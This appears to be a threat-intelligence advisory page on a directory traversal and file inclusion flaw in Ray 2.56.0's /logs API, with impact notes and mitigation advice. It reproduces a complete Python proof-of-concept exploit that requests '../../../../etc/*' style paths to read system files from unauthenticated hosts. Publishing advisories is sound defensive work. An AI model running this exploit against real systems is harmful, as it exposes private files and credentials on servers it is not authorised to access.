Ray 2.56.0 - Directory Traversal & Local File Inclusion
Ray version 2.56.0 contains a directory traversal and local file inclusion vulnerability in its /logs API. This flaw allows a remote unauthenticated attacker to access files outside the intended log directory by supplying a crafted glob filter. The vulnerability has been demonstrated with a publicly available Python exploit targeting Ray 2.56.0 on Ubuntu 22.04 and RHEL 10.0. A fix has been proposed upstream and is under review by the Ray maintainers.
AI Analysis
Technical Summary
Ray 2.56.0 has a directory traversal and local file inclusion vulnerability in the /logs API endpoint. By manipulating the 'glob' filter parameter, an unauthenticated remote attacker can retrieve arbitrary files outside the designated log directory. This issue affects Ray 2.56.0 specifically and has been tested on Ubuntu 22.04 and RHEL 10.0. Proof-of-concept exploit code in Python is publicly available. The Ray project has a proposed fix currently under review (GitHub issue #45751 and pull request #64701). No CVE has been assigned yet.
Potential Impact
An attacker can remotely access arbitrary files on the affected system without authentication, potentially exposing sensitive information. This could lead to information disclosure but does not directly indicate code execution or system compromise. The exploit targets Ray 2.56.0 instances running on Ubuntu 22.04 and RHEL 10.0.
Mitigation Recommendations
A fix has been proposed upstream and is currently under review by the Ray maintainers. Users should monitor the Ray GitHub repository for the merged patch and apply it once available. Until the official fix is released, restrict access to the /logs API endpoint to trusted users or networks to mitigate unauthorized file access.
Indicators of Compromise
- exploit-code: # Exploit Title: Ray 2.56.0 - Directory Traversal & Local File Inclusion # Date: 07/12/2026 # Google Dork: N/A # Exploit Author: Richard Howe ([email protected]) # Vendor Homepage: https://github.com/ray-project/ray # Software Link: https://github.com/ray-project/ray # Version: 2.56.0 # Tested on: Ubuntu 22.04 and RHEL 10.0 # CVE: Pending CNA assignment A fix has been proposed upstream and is currently under review by the Ray maintainers. GH Issue: https://github.com/ray-project/ray/issues/45751 GH Pull Request: https://github.com/ray-project/ray/pull/64701 This proof of concept demonstrates a directory traversal/local file inclusion vulnerability in Ray's /logs API. By supplying a crafted glob filter, a remote unauthenticated attacker can access files outside the intended log directory. The attached exploit reproduces the issue against Ray 2.56.0 on Ubuntu 22.04 and RHEL 10.0. Attachments: - exploit.py (proof of concept) - Screenshot of successful exploitation - Screenshot of the pending CVE submission Usage: python exploit.py \ --ip <target> \ --port 6379 \ --glob ../../../../etc/* from sys import argv from requests import get def get_arg(name): try: index = argv.index(name) return argv[index + 1] except (ValueError, IndexError): return None def main(): ip = get_arg("--ip") port = get_arg("--port") node_id = get_arg("--node") glob = get_arg("--glob") fpath = get_arg("--fpath") if not ip or not port or not node_id or not glob: print("Usage: script.py --ip <address> --port <port> --node <node id> --glob <glob> --fpath <file path>") exit(1) params = { 'node_id': node_id, 'glob': f'{glob}/*' } print(params) try: req = get(f'http://{ip}:{port}/api/v0/logs', params=params) except Exception as e: print(str(e)) if req.status_code == 200 and fpath: print('Success! Writing contents to file.') with open(fpath, "wb") as f: f.write(req.content) elif req.status_code == 200: print(f'Success!\n{req.content}') else: print('Failed') print(req.content) main()
Ray 2.56.0 - Directory Traversal & Local File Inclusion
Description
Ray version 2.56.0 contains a directory traversal and local file inclusion vulnerability in its /logs API. This flaw allows a remote unauthenticated attacker to access files outside the intended log directory by supplying a crafted glob filter. The vulnerability has been demonstrated with a publicly available Python exploit targeting Ray 2.56.0 on Ubuntu 22.04 and RHEL 10.0. A fix has been proposed upstream and is under review by the Ray maintainers.
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Ray 2.56.0 has a directory traversal and local file inclusion vulnerability in the /logs API endpoint. By manipulating the 'glob' filter parameter, an unauthenticated remote attacker can retrieve arbitrary files outside the designated log directory. This issue affects Ray 2.56.0 specifically and has been tested on Ubuntu 22.04 and RHEL 10.0. Proof-of-concept exploit code in Python is publicly available. The Ray project has a proposed fix currently under review (GitHub issue #45751 and pull request #64701). No CVE has been assigned yet.
Potential Impact
An attacker can remotely access arbitrary files on the affected system without authentication, potentially exposing sensitive information. This could lead to information disclosure but does not directly indicate code execution or system compromise. The exploit targets Ray 2.56.0 instances running on Ubuntu 22.04 and RHEL 10.0.
Mitigation Recommendations
A fix has been proposed upstream and is currently under review by the Ray maintainers. Users should monitor the Ray GitHub repository for the merged patch and apply it once available. Until the official fix is released, restrict access to the /logs API endpoint to trusted users or networks to mitigate unauthorized file access.
Technical Details
- Version
- 2.56.0
- Author
- Richard Howe
- Platform
- Ubuntu 22.04 and RHEL 10.0
- Edb Id
- 52635
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ray 2.56.0 - Directory Traversal & Local File Inclusion
# Exploit Title: Ray 2.56.0 - Directory Traversal & Local File Inclusion # Date: 07/12/2026 # Google Dork: N/A # Exploit Author: Richard Howe ([email protected]) # Vendor Homepage: https://github.com/ray-project/ray # Software Link: https://github.com/ray-project/ray # Version: 2.56.0 # Tested on: Ubuntu 22.04 and RHEL 10.0 # CVE: Pending CNA assignment A fix has been proposed upstream and is currently under review by the Ray maintainers. GH Issue: https://github.com/ray-project/ray/issues/45... (1699 more characters)
Threat ID: 6a7b8f3bbf8831d5396a6699
Added to database: 08/11/2026, 21:08:11 UTC
Last enriched: 08/11/2026, 21:09:06 UTC
Last updated: 08/12/2026, 01:56:06 UTC
Views: 4
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.